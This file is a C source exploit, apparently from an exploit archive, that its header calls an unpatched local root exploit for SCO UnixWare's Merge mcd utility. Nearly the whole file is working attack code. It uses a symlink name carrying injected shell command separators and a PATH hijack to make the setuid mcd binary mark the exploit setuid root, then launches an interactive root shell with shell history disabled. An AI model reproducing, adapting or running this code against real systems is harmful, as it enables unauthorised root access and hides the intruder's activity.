scomerge-local.txt

`/* 04/2008: public release  
* I have'nt seen any advisory on this; possibly still not fixed.  
*  
* SCO UnixWare Merge mcd Local Root Exploit  
* By qaaz  
*/  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
#include <errno.h>  
#include <sys/stat.h>  
  
#define TARGET "/usr/lib/merge/mcd"  
#define DIR "/proc/%d/object", getpid()  
#define BIN "a.out"  
#define LNK "hrc;" BIN ";prc"  
#define DEV "/dev/cdrom/cdrom1"  
  
int main(int argc, char *argv[])  
{  
char dir[4096], bin[4096];  
char dev[4096], env[4096];  
pid_t child;  
struct stat st;  
  
if (geteuid() == 0) {  
setuid(geteuid());  
setgid(getegid());  
if (strstr(argv[0], BIN)) {  
umask(0);  
chown(BIN, 0, 3);  
chmod(BIN, 06777);  
kill(getppid(), 15);  
return 0;  
}  
putenv("HISTFILE=/dev/null");  
execl("/bin/sh", "sh", "-i", NULL);  
printf("[-] sh: %s\n", strerror(errno));  
return 1;  
}  
  
printf("---------------------------------------\n");  
printf(" UnixWare Merge mcd Local Root Exploit\n");  
printf(" By qaaz\n");  
printf("---------------------------------------\n");  
  
if (access(TARGET, EX_OK) < 0) {  
printf("[-] %s: %s\n", TARGET, strerror(errno));  
return 1;  
}  
  
if (symlink(DEV, LNK) < 0) {  
printf("[-] %s: %s\n", LNK, strerror(errno));  
return 1;  
}  
  
sprintf(dir, DIR);  
sprintf(bin, "%s/%s", dir, BIN);  
  
snprintf(dev, sizeof(dev), "/dev/cdrom/../../%s/%s", getcwd(NULL, 4096), LNK);  
snprintf(env, sizeof(env), "PATH=.:%s", getenv("PATH"));  
  
if ((child = fork()) == 0) {  
chdir(dir);  
putenv(env);  
execl(TARGET, TARGET, "-u", "-d", dev, NULL);  
printf("[-] %s: %s\n", TARGET, strerror(errno));  
return 1;  
} /*else if (child != -1)  
waitpid(child, NULL, 0);*/  
  
printf("[*] Waiting for privs...\n");  
while (stat(bin, &st) == 0) {  
if ((st.st_mode & 06777) == 06777) {  
printf("[+] Enjoy\n");  
unlink(LNK);  
execl(bin, "woot", NULL);  
printf("[-] %s: %s\n", bin, strerror(errno));  
return 1;  
}  
sleep(1);  
}  
printf("[-] %s: %s\n", bin, strerror(errno));  
unlink(LNK);  
return 0;  
}  
`